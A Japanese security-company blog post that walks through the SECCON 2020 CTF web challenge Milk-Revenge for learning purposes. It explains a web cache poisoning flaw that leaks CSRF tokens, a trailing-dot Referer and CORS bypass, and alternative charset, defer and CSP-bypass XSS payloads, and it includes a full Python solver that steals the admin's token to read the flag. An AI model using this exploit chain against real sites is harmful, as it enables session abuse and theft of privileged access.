SSTエンジニアブログ

SSTのエンジニアによるWebセキュリティの技術を中心としたエンジニアブログです。

SECCON 2020 Online Milk-Revenge Writeupの解説

はじめに

(ゲームの中で)対馬が綺麗すぎて仕事する気になれない岩間です。女神転生3 NOCTURNE HD REMASTERも10/29発売するし、やばい仕事してられねぇ!

さて、先日 10/10(土)から10/11(日)にかけてSECCON CTF 2020 Onlineが開催されてました。 私も個人で参加したのですが、全く解けませんでした・・・。(CTFerとしての誉れはないのか!?)
去年に引き続ぎ、今年もTSGの方が作問しておりwriteupも公開されています。
運営の方お疲れ様でした。m(__)m

今回は個人的に面白かったMilk-revengeを公式のwriteupを見つつ解説をしたいと思います。 ※ MilkとMilk-Revengeがありますが想定外の別解対策なので、内容はあまり変わらないです。

本記事は、普段CTFしない人や興味ある人向けに書いています。あと社内の人への問題紹介も兼ねています。普段からCTFしてる人は公式のwriteupで十分だと思います。

公式のwriteup

サイト調査

まずはサイトの構成や機能について調べてみます。

サイト構成

ログイン前

  • ユーザ登録
  • ログイン機能

ログイン後

  • ノートの作成

    • ノートは1つしか作成できない。更新や削除といった機能はない
    • 管理者に報告する機能
      • 送ると Okay! I got it :-) のメッセージが表示される
      • 外部のドメインを指定した場合、指定したURLにアクセスしていることが確認できる
      • Blind SSRF
  • ノートの閲覧

    • URLの構成: https://milk-revenge.chal.seccon.jp/notes/[ノートのID]
    • 別のセッションのユーザでアクセスするとノートの中身が見れない
    • /notes/[ノートのID]にアクセスすると、ここだけCSP設定が有効になっている
  • ログアウト機能

ソースコードの確認

今回はソースコードが提供されています。milk-revengeのほうを見ていきます。

C:.
│  crawl.js
│  milk-revenge.5bc4dbf1b7e130501235312d7cb76466.tar.gz
│
└─milk-revenge
    │  docker-compose.yml
    │  nginx.conf
    │
    ├─api
    │      index.ts
    │      mongo.ts
    │      notes.ts
    │      root.ts
    │      users.ts
    │
    └─front
            index.js
            index.php
            note.php

アプリケーションのコードだけでなく、ローカルで環境構築できるようにいくつか構成ファイルや設定ファイルも用意されています。 これらは問題を解く分には不要な場合もありますが、軽く眺めてみます。

docker-compose.yaml

Dockerコンテナをまとめるdocker-composeの構成ファイルです。 以下のようなコンテナが設定されているようです。

  • mongo: mongoDB
  • front: php7
  • api: Deno
  • nginx: openresty

フロントとバックエンドとDBがそれぞれ分かれているようです。

nginx.conf

フロントとapiでそれぞれserverディレクティブが分かれています。

location ~ ^/notes/(?<id>.+) {
    set_secure_random_lcalpha $res 32;
    try_files $uri /note.php?id=$id&_=$res;
}

location ~ \.php$ {
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    fastcgi_pass front:9000;
    fastcgi_index index.php;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_param PATH_INFO $fastcgi_path_info;

    if ($document_uri = '/note.php') {
        add_header Content-Security-Policy "default-src 'none'; base-uri 'none'; style-src * 'unsafe-inline'; font-src *; connect-src https://milk-revenge-api.chal.seccon.jp; script-src 'self' https://milk-revenge-api.chal.seccon.jp https://code.jquery.com/jquery-3.5.1.min.js 'sha256-VxmUr3JR3CEAcdYpDNVjlyU6Wo1/yk5tf1Tkx/EAoBE=';" always;
    }

上記はフロント側のロケーション設定の抜粋です。 /notes/[ID] にアクセスすると、 /note.php?id=[ID]&_=[ランダムな32文字] に転送していることが分かります。

また、/note.phpにアクセスした時だけCSPが設定されています。

続いてapi側の設定です。

add_header Access-Control-Allow-Origin https://milk-revenge.chal.seccon.jp always;
add_header Access-Control-Allow-Credentials true always;
proxy_cookie_path / "/; SameSite=None; Secure";

location / {
    proxy_pass http://api:8000;
    proxy_read_timeout 5s;
    proxy_cache one;
    proxy_cache_valid 200 1m;
}

CORSが常に設定されているようです。また、キャッシュが有効になっていることが分かります。

apiの確認

index.ts

APIはTypeScriptで動いているようです。TypeScriptは全く分からないですが可読性が高いので、ふいんき(←なぜか変換できない)で見ていきます。

// Referer validation
app.use(async (ctx, next) => {
  const referer = ctx.request.headers.get('referer');
  if (!referer) {
    ctx.response.body = 'Referer header is not set';
    ctx.response.status = 400;
    return;
  }

  // @ts-ignore
  const refererUrl = new URL(normalizeUrl(referer));
  if (refererUrl.host !== 'milk-revenge.chal.seccon.jp') {
    ctx.response.body = 'Bad Referer header';
    ctx.response.status = 400;
    return;
  }

  await next();
})

app.use(root.routes());
app.use(users.routes());
app.use(notes.routes());

await app.listen({port: 8000});

コメントの通りRefererチェックが行っているようです。 リクエストヘッダのRefererが無い場合とフロント側のFQDNにマッチしない場合は、ステータスコード400を返すことがわかります。 必ずフロントからAPIを叩きに来いってことですね。

その後のコードは、root, users, notesのルーティングが設定され、サーバがリッスンするようです。

mongo.ts

DBのコレクション構造が分かります。

notes.ts

ルーティング

const router = new Router({prefix: '/notes'});

ルーティングが設定されていることが分かります。

CSRF Token Validation

// CSRF Token validation
router.use(async (ctx, next) => {
  const tokenString = ctx.request.url.searchParams.get('token') || '';
  const token = await Tokens.findOne({token: tokenString});
  if (!token) {
    ctx.response.body = 'Bad CSRF token';
    ctx.response.status = 400;
    return;
  }
  if (token.username === '') {
    ctx.response.status = 403;
    return;
  }

  await Tokens.deleteOne({_id: token._id});

  ctx.state.user = (await Users.findOne({username: token.username}))!;

  await next();
});

CSRFトークンチェックを行っているようです。
クエリストリングのtokenパラメータが無い場合とTokensコレクションに登録されていないトークンの場合は、エラーを返します。

上記の条件をパスした後、Tokensコレクションから削除されるため使用したトークンの再利用はできないことが分かります。 また、トークンを発行したユーザの情報が保持されます。

/notes/get と /notes/post

router.get('/get', async (ctx) => {
  const id = ctx.request.url.searchParams.get('id') || '';

  const note = await Notes.findOne({_id: ObjectId(id)});
  if (!note) {
    ctx.response.status = 404;
    return;
  }
  if (note.username !== ctx.state.user.username && !ctx.state.user.admin) {
    ctx.response.status = 403;
    return;
  }

  ctx.response.body = {ok: true, note};
});

ルーティング名からなんとなく分かりますが、id パラメータにマッチしたnoteを取得できるようです。 ただしトークンを発行したユーザがノートを作成したユーザではない場合、エラーを返します。管理者は関係なく閲覧できるようです。

/postも似たような処理になっています。

/notes/flag

router.get('/flag', async (ctx) => {
  if (!ctx.state.user.admin) {
    ctx.response.body = 'Flag is the privilege available only from admin, right?';
    ctx.response.status = 403;
    return;
  }

  ctx.response.body = Deno.env.get('FLAG');
});

あからさまに怪しいですw トークンを発行したユーザが管理者ではない場合、エラーを返します。管理者であれば環境変数にセットされたFLAG情報を閲覧することができそうです。

このFLAGが攻略対象であると考えてよさそうです。

root.ts

username Cookieにセットされたusernameでトークンを発行します。 実際の挙動を確認すると usernameとusername.sigの両方が必要でした。

users.ts

ユーザの登録とログインを担う処理のようです。今回は特に関係ないので割愛します。

API側の情報

API側を整理します。

  • Refererチェックをしており、https://milk-revenge.chal.seccon.jp をセットしておく必要がある。
  • /notes/* のページにはCSRFトークンのチェックがおこなれている。
  • CSRFトークンは /csrf-token で発行できる。
  • CSRFトークンはリクエストで使用すると再利用はできない。
  • CSRFトークンは発行時のユーザ情報と紐づいている
  • /notes/flag にアクセスするためには管理者権限のCSRFトークンが必要

フロントの確認

フロントはnote.phpだけ確認します。

  <script src=https://milk-revenge-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script>

CSRFトークンを発行しているようです。また、_ パラメータの値を受け取っています。

  <script src=/index.js></script>
  <script>
    csrfTokenCallback = async (token) => {
      window.csrfTokenCallback = null;
      const paths = location.pathname.split('/');

      const data = await $.get({
        url: 'https://milk-revenge-api.chal.seccon.jp/notes/get',
        data: {id: paths[paths.length - 1], token},
        xhrFields: {
          withCredentials: true,
        },
      });

      document.getElementById('username').textContent = data.note.username;
      document.getElementById('body').textContent = data.note.body;

      document.querySelector('[name=url]').value = location.href;
    };
  </script>

index.jsを確認するとCSRFトークンをJSONPで取得しており、先ほど発行したCSRFトークンがnote情報を取得するために使用されていることがわかります。

脆弱性調査

/csrf-tokenに付きまとう _ パラメータの調査

既に /report にSSRFがあることは分かっています。それ以外に何か突破口がないか探してみます。

/csrf-token にアクセスする際に_GETパラメータを送っていますが、どうにも怪しいです。なぜわざわざ_パラメータを送る必要があるのか確認していきます。

root@test/milk-revenge# curl -H "Referer: https://milk-revenge.chal.seccon.jp" -b "username=hogehogehoge; username.sig=CDYTGtmboblCH8lVct1NFLEyiDYWnrQDhI1mXlVU1O4" "https://milk-revenge-api.chal.seccon.jp/csrf-token?_=abcdefghijklmnOPQR"
csrfTokenCallback('15d2d426-8e80-4fc0-9d09-ad55ea43ec99')⏎

root@test/milk-revenge# # 間を置かずに連続で実行

root@test/milk-revenge# curl -H "Referer: https://milk-revenge.chal.seccon.jp" -b "username=hogehogehoge; username.sig=CDYTGtmboblCH8lVct1NFLEyiDYWnrQDhI1mXlVU1O4" "https://milk-revenge-api.chal.seccon.jp/csrf-token?_=abcdefghijklmnOPQR"
csrfTokenCallback('15d2d426-8e80-4fc0-9d09-ad55ea43ec99')⏎

root@test/milk-revenge# curl -H "Referer: https://milk-revenge.chal.seccon.jp" "https://milk-revenge-api.chal.seccon.jp/csrf-token?_=abcdefghijklmnOPQR"
csrfTokenCallback('15d2d426-8e80-4fc0-9d09-ad55ea43ec99')

一回目と二回目は同一のセッション(hogehogehogeのユーザ)で_の値は変えずに連続で送った結果です。 三回目はセッション情報を削除して送信しています。一回目と二回目と同じセッション情報が返ってきています!セッションを持たないユーザがhogehogehogeのCSRFトークンを取得できていますね!

CSRFトークンを発行してから使用されるかしばらく経つまでの間、_の値が一緒であればどのユーザでもCSRFトークンを取得することができます。
つまり_ はキャッシュキーの役割を持っており、Webキャッシュポイズニングの脆弱性が存在しています。
具体的には、攻撃者が設定した_キャッシュキー付きの/csrf-tokenのURLを被害者に踏ませることで、攻撃者は被害者のCSRFトークンを盗むことができます。

/reportから上記の_キャッシュキーを仕込んだ/csrf-tokenURLを設定して管理者に踏んでもらえれば、CSRFトークンを取得してFLAGゲット!・・・とは上手くいかないです。

上記のcurlコマンドでも設定してますが、リファラーをセットする必要があります。

リファラーチェックを抜ける

/note.php にアクセスすると/csrf-token が読み込まれることが分かります。加えて_パラメータをセットできるので、任意のキャッシュキーを付けた状態で/csrf-tokenにアクセスします。

ちなみに/notes/[ID] は、openresty側でキャッシュキーを設定するため、_キャッシュキーに任意の値をセットできないのでWebキャッシュポイズニングが出来ません。

リファラーチェックは、これで抜けられそうです。 しかし/csrf-tokenにアクセスした後、すぐに/notes/getにCSRFトークンを設定してアクセスしてしまうため、もう一工夫必要になります。

末尾にピリオドを入れる(想定解)

FQDNの末尾に.を入れても同じホストにアクセスすることができます。本来のFQDNはルートドメイン(.)込みのドメイン名ですが一般的には省略しても問題ないためです。一方でブラウザは異なるオリジンと認識するため、CORSポリシーに違反します。

CORSポリシーを違反させることで、/notes/getへのXHR通信を行わせないようにすることができます。ただし、/csrf-tokenへの通信もCORSポリシー違反になってしまうため、ユーザ資格情報(Credentials)が送られません。なのでcrossorigin="use-credentials"を設定して、資格情報付きでアクセスさせます。

まとめると以下のようなリクエストになります。

https://milk-revenge-api.chal.seccon.jp./note.php?_=hogehogehogehoge%20crossorigin=use-credentials

ちなみに/csrf-tokenにアクセスするとき、Refererはhttps://milk-revenge-api.chal.seccon.jp. となるため、リファラーチェックが通らないように見えますが、npmのnormalize-urlはホスト名の末尾のピリオドを自動的に削除するようです。なのでリファラーチェックをバイパスすることができるようです。

別解: 文字セットを変える

/csrf-tokenにアクセスする際にcharset=unicodeFFFEをセットして文字セットを誤認識させる方法です。 CSRFトークンを発行させつつ以降の処理で構文エラーが発生するため、CSRFトークンは消費されずに取得することができます。

?_=aaaaaaaaaaaa%20charset%3Dunicodefffe

別解: deferを無効にする

deferはスクリプトの実行順序を変える属性です。?_=aaaaaaaaaaaa aaaa= defer>aaaa=deferと評価され、defer属性が無効になります。その結果スクリプトの実行順序が変わり、ランタイムエラーによってCSRFトークンが消費されなくなります。

別解: CSPをバイパスする

location ~ \.php$ {
  # ...
  if ($document_uri = '/note.php') {
    add_header Content-Security-Policy "default-src 'none'; base-uri 'none'; style-src * 'unsafe-inline'; font-src *; connect-src https://milk-revenge-api.chal.seccon.jp; script-src 'self' https://milk-revenge-api.chal.seccon.jp https://code.jquery.com/jquery-3.5.1.min.js 'sha256-VxmUr3JR3CEAcdYpDNVjlyU6Wo1/yk5tf1Tkx/EAoBE=';" always;
  }
}

https://milk.chal.seccon.jp/note.php/.php は、$document_uri = '/note.php'にマッチしないため、CSPを追加させずにnote.phpにアクセスさせることができます。

そのため以下のようなXSSを実行させて、後続の処理を停止させCSRFトークンの消費を防ぎます。

?_=aaaaaaaaaaaa%20onload=alert(1)

FLAG取得へ

あとは取得できたCSRFトークンをセットした状態で/note/flagにアクセスすればFLAG取得です。公式のsolverスクリプトがありますが、自分はPythonが好きなのでPythonで書き直しました。

import requests
import random, string
import re
import time
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

#front_url = "https://milk.chal.seccon.jp"
front_url = "https://milk-revenge.chal.seccon.jp"
#api_url = "https://milk-api.chal.seccon.jp"
api_url = "https://milk-revenge-api.chal.seccon.jp"

cache_key = ''.join(random.choices(string.ascii_lowercase, k=32))
#proxies = {"http":"http://localhost:8080", "https":"http://localhost:8080"}
proxies = {}
data= {"url": front_url+'./note.php?_=%s crossorigin=use-credentials' % (cache_key)}

# /reportのリクエスト
print("- send report")
r = requests.post(front_url+'/report', data=data, proxies=proxies, verify=False)

# 管理者のリクエストが終了するまで少し待つ必要がある。
time.sleep(5)

# CSRFトークンを確認する
print("- check token")
r = requests.get(api_url+'/csrf-token', params={"_": cache_key}, headers={"Referer":front_url}, proxies=proxies, verify=False)
csrf_token = re.search(r'\'(.*)\'', r.text).group(1)
print("token: %s" % (csrf_token))

# 確認したCSRFトークンを利用して、/note/flagにアクセスする
print("- get /note/flag")
r = requests.get(api_url+"/notes/flag", params={"token": csrf_token}, headers={"Referer":front_url}, proxies=proxies, verify=False)
print(r.text)
root@test/milk# python solve.py 
- send report
- check token
token: 8848a9b0-f264-4239-9b1e-715ae2611ecc
- get /note/flag
SECCON{Okay_there_was_actually_unintended_solution_as_I_intended_blahblah}

終わりに

SSRFやwebキャッシュポイズニングは、競技中でも発見していましたがCSRFトークンを消費させないようにする方法が分かりませんでした。

修行が足りませんね('ω')頑張ります。 他の問題も面白いので是非触ってみてくださいー。